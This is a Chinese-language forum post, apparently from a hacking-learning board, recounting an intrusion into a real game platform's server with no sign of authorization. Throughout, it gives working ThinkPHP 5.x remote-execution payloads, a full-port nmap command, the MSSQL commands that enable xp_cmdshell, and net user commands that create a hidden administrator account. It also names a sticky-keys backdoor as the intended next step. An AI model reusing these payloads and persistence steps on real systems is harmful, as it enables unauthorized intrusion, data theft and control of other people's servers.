记一次某游戏服务器渗透

无名3个月前 (04-20)渗透学习专区98

入侵过程所用的技术比较简单,大神请划走。。


目标: 进入后台,添加管理员账号,进入远程控制桌面,植入后门


首先我是通过某第三方信息收集网站进行 ThinkPHP 5.*远程执行漏洞 针对性搜索,

偶然发现的一个游戏平台后台登陆网站.

直接上POC

/?s=index/think\config/get&name=database.type

发现index模块直接做了跳转操作,于是我直接把index改为admin模块,成功!

拿到数据库配置,发现为mssql.

Nmap nmap -sS -p 1-65535 -sV *.*.*.* 扫一下端口,很好 关键性1433,3389端口都为开放状态。

一般来说我喜欢扫到20000端口就停止,个人觉得小型网站20000端口后没有什么值得利用的端口,但这里直接上了全部端口,方便大家直接使用。


回到后台登陆网站,进行使用 ThinkPHP 5.* 的POC

/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

看一下phpinfo()拿到服务器信息为(Window Servers 2008)和网站目录地址(C:/input/www/),顺便看一下有没有xdebug,不过肯定是没有的。


下一步我打算执行一下system命令直接把目录返回回来,不过直接显示了404。

/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls

从前面的分析中 该网站的确存在ThinkPHP 5.*远程执行漏洞。所以得出原因,系统禁用了system,并且把ThinkPHP的报错页面改为了404页面。

不过不要紧,上面只是让你们知道为什么会显示404的原因,从前面的phpinfo中PHP版本低于7,所以还是可以使用assets命令显示目录,稍微构造了一下。

POC:/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=exit(print_r(scandir('./')));

我直接是把tmp目录里面的管理员cookie拿出来进入了后台,这还并不能满足我。

我输出了一下其他目录,不过发现竟然没有进入除网站目录和tmp(临时文件)目录的其他目录权限。


这里我卡顿了一会,吃了个饭,突然想起来最开始拿到的mssql数据库,希望他没有ip限制。

于是这里我放弃webshell提权的思路,直接上mssql提权。

拿上最开始拿到的账号密码连接mssql,连接成功。

运气真好,居然有master权限。

直接运行shell exec master..xp_cmdshell "whoami" 没有开启xp_cmdshell模块

开启模块 EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE; 成功

再次运行shell exec master..xp_cmdshell "whoami" ****/system

我这特么是什么运气???system权限,哈哈哈,给的权限真tm高

下面就一帆风顺了

exec xp_cmdshell ' net user test Qwer123456789** /add' 添加test用户 密码:Qwer123456789**    因为策略原因密码必须复杂一点

exec xp_cmdshell ' net user test /active:yes' 启用test

exec xp_cmdshell ' net localgroup administrators test /add' 将test用户设置为管理员组

接下来就是进去远程桌面乱搞的时间了。

因为突然有别的事情,我没有放入远程后门,例如5次Shift黏贴键后门呀啥的。


到这里本次入侵测试完成,喜欢的话加入交流群大家一起交流经验。

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。